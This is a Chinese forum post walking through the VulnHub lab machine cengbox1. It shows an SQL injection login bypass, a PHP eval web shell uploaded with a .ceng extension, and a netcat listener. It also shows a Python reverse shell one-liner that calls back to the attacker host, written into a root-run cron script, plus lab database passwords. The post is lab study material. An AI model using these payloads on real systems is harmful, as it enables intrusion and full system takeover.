VulnHub:cengbox1

打印 上一主题 下一主题

主题 895|帖子 895|积分 2685

靶机下载地点,下载完成后,用VirtualBox打开靶机并修改网络为桥接即可搭建乐成。
信息网络

主机发现和端口扫描

扫描攻击机(192.168.31.218)同网段存活主机确认目的机ip,并对目的机进行全面扫描。
  1. nmap 192.168.31.0/24 -Pn -T4
  2. nmap 目标主机ip -A -p- -T4
复制代码
确认目的机ip为192.168.31.175,开放22,80端口。
目录扫描

访问http服务,首页如图,功能点都点一下,没有线索。

使用工具进行目录扫描。
  1. dirsearch -u http://192.168.31.175
复制代码

除了/gulpfile.js有内容之外,其他都是403。换个工具和字典进行目录扫描,结果同等,除了上面几个路径外没有其他发现。但是留意到/masteradmin有admin敏感字样,对该目录进行二层目录扫描。
  1. dirsearch -u http://192.168.31.175/masteradmin/
复制代码

有收获,访问/masteradmin/login.php,找到后台登录页面。

渗透

sql万能暗码

这里不须要bp爆破,直接sql万能暗码:' or 1='1

乐成登录。
文件上传反弹shell脚本

登录后出现一个文件上传的功能点。

上传一句话木马文件shell.php。
  1. <?php
  2. @eval($_POST['cmd']); //一句话木马
  3. >
复制代码

好像没有上传乐成没有任何提示,尝试黑名单绕过,前端绕过等常见文件上传绕过方法无果,这个文件上传怎么什么类型的文件都不能上传。后来发现上传失败后是有提示的,字体颜色太暗没发现。
错误提示:
   extension not allowed, please choose a CENG file.
  扩展名不被答应,请上传ceng文件。上传后缀名为.ceng的文件?修改一句话木马文件后缀名为ceng后乐成上传,既然如此,直接上传反弹shell也可行。php反弹shell脚本在这里

攻击机监听4444端口nc -lvvp 4444。
接下来须要思考文件上传到哪儿了,前面目录扫描到的存在/uploads目录,猜测文件上传后生存位置就是/uploads,访问http://192.168.31.175/uploads/fantan.ceng,监听上线。

切换到交互式shell。
  1. ​​​​​​​python3 -c 'import pty;pty.spawn("/bin/bash")'
复制代码
getshell后cd进家目录,发现cengover用户,cengover目录没有读权限。别的有一个隐藏文件夹.ecryptfs,该目录下的文件也无读权限。

在/var/www/html/masteradmin/db.php中得到数据库root用户暗码SuperS3cR3TPassw0rd1!

使用暗码登录mysql:mysql -u root -p。数据库中应该有用户相关信息。​​​​​​​
展示全部数据库:show databases;

选择cengbox数据库,发现admin表。
  1. use cengbox;
  2. show tables;
复制代码

查看admin表内容:select * from admin;

又得到了一个暗码C3ng0v3R00T1!。猜测是cengover用户的暗码,切换到cengover用户。

get first flag.

提权

我这里先试了sudo,suid,uname -a,enumy64,crontab,都没什么收获。上传其他的脚本检测试一下——pspy,使用pspy64可以判断哪些程序以root运行(pspy可以在没有root权限的情况实时监控linux进程和其他用户的计划任务)然后使用对应脚本进行反弹。
下载pspy64到目的机。留意目的机须要切换到有执行权限的目录下再下载pspy64(通常是/tmp目录)。
  1. # pspy64脚本下载到攻击机本地,在下载目录开启http服务
  2. python3 -m http.server 8989
  3. # 目标机下载pspy64
  4. wget http://192.168.31.218:8989/pspy64
  5. chmod 777 pspy64
  6. ./pspy64
复制代码

运行pspy64,发现UID=0的用户即root用户,每隔一分钟会执行一次md5check.py。

在md5check.py中写入python反弹脚本。
  1. echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.218",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > /opt/md5check.py
复制代码
开启监听nc -lvvp 5555等一会就会上线。

get root flag

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

王海鱼

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表